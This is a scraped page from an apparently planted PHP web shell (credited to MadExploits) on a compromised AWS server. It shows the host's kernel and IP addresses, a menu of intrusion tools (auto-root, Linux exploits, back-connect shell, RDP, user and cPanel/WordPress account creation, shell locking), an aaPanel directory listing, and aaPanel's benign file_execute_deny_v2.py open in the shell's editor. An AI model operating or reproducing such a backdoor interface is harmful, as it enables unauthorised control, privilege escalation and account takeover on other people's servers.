Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.144.91.201
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
btdockerModelV2
[ DIR ]
drwxr-xr-x
crontabModelV2
[ DIR ]
drwxr-xr-x
databaseModelV2
[ DIR ]
drwxr-xr-x
firewallModelV2
[ DIR ]
drwxr-xr-x
logsModelV2
[ DIR ]
drwxr-xr-x
monitorModelV2
[ DIR ]
drwxr-xr-x
panelModelV2
[ DIR ]
drwxr-xr-x
power_mta
[ DIR ]
drwxr-xr-x
projectModelV2
[ DIR ]
drwxr-xr-x
safeModelV2
[ DIR ]
drwxr-xr-x
safe_warning_v2
[ DIR ]
drwxr-xr-x
ssl_domainModelV2
[ DIR ]
drwxr-xr-x
virtualModelV2
[ DIR ]
drwxr-xr-x
wp_toolkit
[ DIR ]
drwxr-xr-x
acme_v3.py
133.98
KB
-rw-r--r--
ajax_v2.py
95.41
KB
-rw-r--r--
apache_v2.py
17.28
KB
-rw-r--r--
backup_bak_v2.py
24.86
KB
-rw-r--r--
breaking_through.py
47.94
KB
-rw-r--r--
cloud_stora_upload_v2.py
19.27
KB
-rw-r--r--
common_v2.py
12.45
KB
-rw-r--r--
config_v2.py
165.36
KB
-rw-r--r--
crontab_ssl_v2.py
1.85
KB
-rw-r--r--
crontab_v2.py
111.93
KB
-rw-r--r--
data_v2.py
36.54
KB
-rw-r--r--
database_v2.py
125.54
KB
-rw-r--r--
datatool_v2.py
5.83
KB
-rw-r--r--
db_mysql_v2.py
11.41
KB
-rw-r--r--
db_v2.py
11.04
KB
-rw-r--r--
dk_db.py
18.34
KB
-rw-r--r--
download_file_v2.py
2.54
KB
-rw-r--r--
fastcgi_client_two_v2.py
12.26
KB
-rw-r--r--
fastcgi_client_v2.py
6.89
KB
-rw-r--r--
file_execute_deny_v2.py
10.34
KB
-rw-r--r--
files_v2.py
149.12
KB
-rw-r--r--
firewall_new_v2.py
22.4
KB
-rw-r--r--
firewalld_v2.py
11.09
KB
-rw-r--r--
firewalls_v2.py
17.44
KB
-rw-r--r--
flask_compress_v2.py
5.12
KB
-rw-r--r--
flask_sockets_v2.py
3.75
KB
-rw-r--r--
ftp_log_v2.py
21.72
KB
-rw-r--r--
ftp_v2.py
16.17
KB
-rw-r--r--
http_requests_v2.py
24.25
KB
-rw-r--r--
jobs_v2.py
36.98
KB
-rw-r--r--
letsencrypt_v2.py
12.85
KB
-rw-r--r--
log_analysis_v2.py
12.23
KB
-rw-r--r--
monitor_v2.py
13.53
KB
-rw-r--r--
one_key_wp_v2.py
75.79
KB
-rw-r--r--
panelControllerV2.py
4.97
KB
-rw-r--r--
panelDatabaseControllerV2.py
5.76
KB
-rw-r--r--
panelDockerControllerV2.py
5.86
KB
-rw-r--r--
panelFireControllerV2.py
4.65
KB
-rw-r--r--
panelModControllerV2.py
5.13
KB
-rw-r--r--
panelProjectControllerV2.py
6.07
KB
-rw-r--r--
panelSafeControllerV2.py
4.65
KB
-rw-r--r--
panel_api_v2.py
10.43
KB
-rw-r--r--
panel_auth_v2.py
33.21
KB
-rw-r--r--
panel_backup_v2.py
102.56
KB
-rw-r--r--
panel_dns_api_v2.py
22.2
KB
-rw-r--r--
panel_http_proxy_v2.py
11.33
KB
-rw-r--r--
panel_lets_v2.py
43.61
KB
-rw-r--r--
panel_mssql_v2.py
4.48
KB
-rw-r--r--
panel_mysql_v2.py
7.55
KB
-rw-r--r--
panel_php_v2.py
24.78
KB
-rw-r--r--
panel_ping_v2.py
2.88
KB
-rw-r--r--
panel_plugin_v2.py
125.11
KB
-rw-r--r--
panel_push_v2.py
23.78
KB
-rw-r--r--
panel_redirect_v2.py
34.02
KB
-rw-r--r--
panel_restore_v2.py
11.04
KB
-rw-r--r--
panel_site_v2.py
343.73
KB
-rw-r--r--
panel_ssl_v2.py
75.34
KB
-rw-r--r--
panel_task_v2.py
28.7
KB
-rw-r--r--
panel_video_V2.py
1.88
KB
-rw-r--r--
panel_warning_v2.py
68.71
KB
-rw-r--r--
password_v2.py
8.09
KB
-rw-r--r--
plugin_auth_v2.py
3.14
KB
-rw-r--r--
plugin_deployment_v2.py
28.85
KB
-rw-r--r--
san_baseline_v2.py
51.13
KB
-rw-r--r--
site_dir_auth_v2.py
17.67
KB
-rw-r--r--
ssh_security_v2.py
45.66
KB
-rw-r--r--
ssh_terminal_v2.py
58.86
KB
-rw-r--r--
system_v2.py
44.77
KB
-rw-r--r--
userRegister_v2.py
6.74
KB
-rw-r--r--
user_login_v2.py
21.2
KB
-rw-r--r--
vilidate_v2.py
4.94
KB
-rw-r--r--
wxapp_v2.py
5.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : file_execute_deny_v2.py
#coding: utf-8 #------------------------------------------------------------------- # aaPanel #------------------------------------------------------------------- # Copyright (c) 2015-2020 aaPanel(www.aapanel.com) All rights reserved. #------------------------------------------------------------------- # Author: zhwen <zhw@aapanel.com> #------------------------------------------------------------------- #------------------------------ # 禁止某个目录运行PHP #------------------------------ import public,re,os,json,shutil from public.validate import Param class FileExecuteDeny: def _init_conf(self,website): self.ng_website_conf = '/www/server/panel/vhost/nginx/{}.conf'.format(website) self.ap_website_conf = '/www/server/panel/vhost/apache/{}.conf'.format(website) self.ols_website_conf = '/www/server/panel/vhost/openlitespeed/detail/{}.conf'.format(website) self.webserver = public.get_webserver() # 获取某个网站禁止运行的目录规则 def get_file_deny(self,args): ''' # 添加某个网站禁止运行PHP author: zhwen<zhw@aapanel.com> :param args: website 网站名 str :return: ''' # 校验参数 try: get=args get.validate([ Param('website').String(), ], [ public.validate.trim_filter(), ]) except Exception as ex: public.print_log("error info: {}".format(ex)) return public.return_message(-1, 0, str(ex)) self._init_conf(args.website) if self.webserver == 'nginx': data=self._get_nginx_file_deny() elif self.webserver == 'apache': data = self._get_apache_file_deny() else: data = self._get_ols_file_deny() return public.return_message(0,0,data) def _get_nginx_file_deny(self): conf = public.readFile(self.ng_website_conf) if not conf: return False data = re.findall('BEGIN_DENY_.*',conf) deny_name = [] for i in data: tmp = i.split('_') if len(tmp) > 2: deny_name.append('_'.join(tmp[2:])) else: deny_name.append(tmp[-1]) result = [] for i in deny_name: reg = '#BEGIN_DENY_{}\n\\s*location\\s*\\~\\*\\s*\\^(.*)\\.\\*.*\\((.*)\\)\\$'.format(i.replace("|",r"\|")) re_tmp = re.search(reg,conf) if re_tmp: deny_directory = re_tmp.groups()[0] deny_suffix = re_tmp.groups()[1] result.append({'name':i,'dir':deny_directory,'suffix':deny_suffix}) return result def _get_apache_file_deny(self): conf = public.readFile(self.ap_website_conf) if not conf: return False data = re.findall('BEGIN_DENY_.*',conf) deny_name = [] for i in data: tmp = i.split('_') if len(tmp) > 2: deny_name.append('_'.join(tmp[2:])) else: deny_name.append(tmp[-1]) result = [] for i in deny_name: reg = '#BEGIN_DENY_{}\n\\s*<Directory\\s*\\~\\s*"(.*)\\.\\*.*\\((.*)\\)\\$'.format(i.replace("|",r"\|")) deny_directory = re.search(reg,conf).groups()[0] deny_suffix = re.search(reg,conf).groups()[1] result.append({'name':i,'dir':deny_directory,'suffix':deny_suffix}) return result def _get_ols_file_deny(self): conf = public.readFile(self.ols_website_conf) if not conf: return False data = re.findall('BEGIN_DENY_.*',conf) deny_name = [] for i in data: tmp = i.split('_') if len(tmp) > 2: deny_name.append('_'.join(tmp[2:])) else: deny_name.append(tmp[-1]) result = [] for i in deny_name: reg = '#BEGIN_DENY_{}\n\\s*rules\\s*RewriteRule\\s*\\^(.*)\\.\\*.*\\((.*)\\)\\$'.format(i.replace("|",r"\|")) deny_directory = re.search(reg, conf).groups()[0] deny_suffix = re.search(reg,conf).groups()[1] result.append({'name':i,'dir':deny_directory,'suffix':deny_suffix}) return result def set_file_deny(self,args): ''' # 添加某个网站禁止运行PHP author: zhwen<zhw@aapanel.com> :param args: website 网站名 str :param args: deny_name 规则名称 str :param args: suffix 禁止访问的后续名 str :param args: dir 禁止访问的目录 str :param args: deny_name 规则名称 :param args: act 操作方法 :return: ''' # 校验参数 try: get=args get.validate([ Param('deny_name').String(), Param('suffix').String(), Param('dir').String(), Param('act').String(), Param('website').String(), ], [ public.validate.trim_filter(), ]) except Exception as ex: public.print_log("error info: {}".format(ex)) return public.return_message(-1, 0, str(ex)) tmp = self._check_args(args) if tmp: return tmp deny_name = args.deny_name if not re.match(r"^\w+$",deny_name): return public.return_message(-1, 0, public.lang("The rule name can only be composed of letters, numbers, and underscores!")) dir = args.dir suffix = args.suffix website = args.website if suffix[-1] == "|": suffix = suffix[:-1] self._init_conf(website) conf = public.readFile(self.ng_website_conf) if not conf: return public.return_message(-1,0,False) data = re.findall('BEGIN_DENY_.*',conf) exist_deny_name = [i.split('_')[-1] for i in data] if args.act == 'edit': if deny_name not in exist_deny_name: return public.return_message(-1, 0, public.lang("The specify rule name is not exists! [ {} ]", deny_name)) self.del_file_deny(args) else: if deny_name in exist_deny_name: return public.return_message(-1, 0, public.lang("The specify rule name is already exists! [ {} ]", deny_name)) self._set_nginx_file_deny(deny_name,dir,suffix) self._set_apache_file_deny(deny_name,dir,suffix) self._set_ols_file_deny(deny_name,dir,suffix) public.serviceReload() return public.return_message(0, 0, public.lang("Setup successfully!")) def _set_nginx_file_deny(self,name,dir=None,suffix=None): conf = public.readFile(self.ng_website_conf) if not conf: return False if not dir and not suffix: reg = '\\s*#BEGIN_DENY_{n}\n(.|\n)*#END_DENY_{n}\n'.format(n=name) conf = re.sub(reg,'',conf) else: if dir[0] != '/':dir = '/'+dir if dir[-1] != '/':dir = dir+'/' new = ''' #BEGIN_DENY_%s location ~* ^%s.*.(%s)$ { deny all; } #END_DENY_%s ''' % (name,dir,suffix,name) if '#BEGIN_DENY_{}\n'.format(name) in conf: return True conf = re.sub('#ERROR-PAGE-END','#ERROR-PAGE-END'+new,conf) public.writeFile(self.ng_website_conf,conf) return True def _set_apache_file_deny(self,name,dir=None,suffix=None): conf = public.readFile(self.ap_website_conf) if not conf: return False if not dir and not suffix: reg = '\\s*#BEGIN_DENY_{n}\n(.|\n)*#END_DENY_{n}'.format(n=name) conf = re.sub(reg,'',conf) else: if dir[0] != '/':dir = '/'+dir if dir[-1] != '/':dir = dir+'/' new = r''' #BEGIN_DENY_{n} <Directory ~ "{d}.*\.({s})$"> Order allow,deny Deny from all </Directory> #END_DENY_{n} '''.format(n=name,d=dir,s=suffix) if '#BEGIN_DENY_{}'.format(name) in conf: return True conf = re.sub(r'#DENY\s*FILES',new+'\n #DENY FILES',conf) public.writeFile(self.ap_website_conf,conf) return True def _set_ols_file_deny(self,name,dir=None,suffix=None): conf = public.readFile(self.ols_website_conf) if not conf: return False if not dir and not suffix: reg = '#BEGIN_DENY_{n}\n(.|\n)*#END_DENY_{n}\\s*'.format(n=name) conf = re.sub(reg,'',conf) else: new = r''' #BEGIN_DENY_{n} rules RewriteRule ^{d}.*\.({s})$ - [F,L] #END_DENY_{n} '''.format(n=name,d=dir,s=suffix) if '#BEGIN_DENY_{}'.format(name) in conf: return True conf = re.sub(r'autoLoadHtaccess\s*1','autoLoadHtaccess 1'+new,conf) public.writeFile(self.ols_website_conf,conf) return True # 删除某个网站禁止运行PHP def del_file_deny(self,args): ''' # 添加某个网站禁止运行PHP author: zhwen<zhw@aapanel.com> :param args: website 网站名 str :param args: deny_name 规则名称 str :return: ''' # 校验参数 try: get=args get.validate([ Param('deny_name').String(), Param('website').String(), ], [ public.validate.trim_filter(), ]) except Exception as ex: public.print_log("error info: {}".format(ex)) return public.return_message(-1, 0, str(ex)) self._init_conf(args.website) deny_name = args.deny_name self._set_nginx_file_deny(deny_name) self._set_apache_file_deny(deny_name) self._set_ols_file_deny(deny_name) public.serviceReload() return public.return_message(0, 0, public.lang("Successfully deleted!")) # 检查传入参数 def _check_args(self,args): if hasattr(args,'deny_name'): if len(args.deny_name) < 3: return public.return_message(-1, 0, public.lang("Rule name needs to be greater than 3 bytes")) if hasattr(args,'suffix'): if not args.suffix: return public.return_message(-1, 0, public.lang("File suffix cannot be empty")) if hasattr(args,'dir'): if not args.dir: return public.return_message(-1, 0, public.lang("Directory cannot be empty"))
Close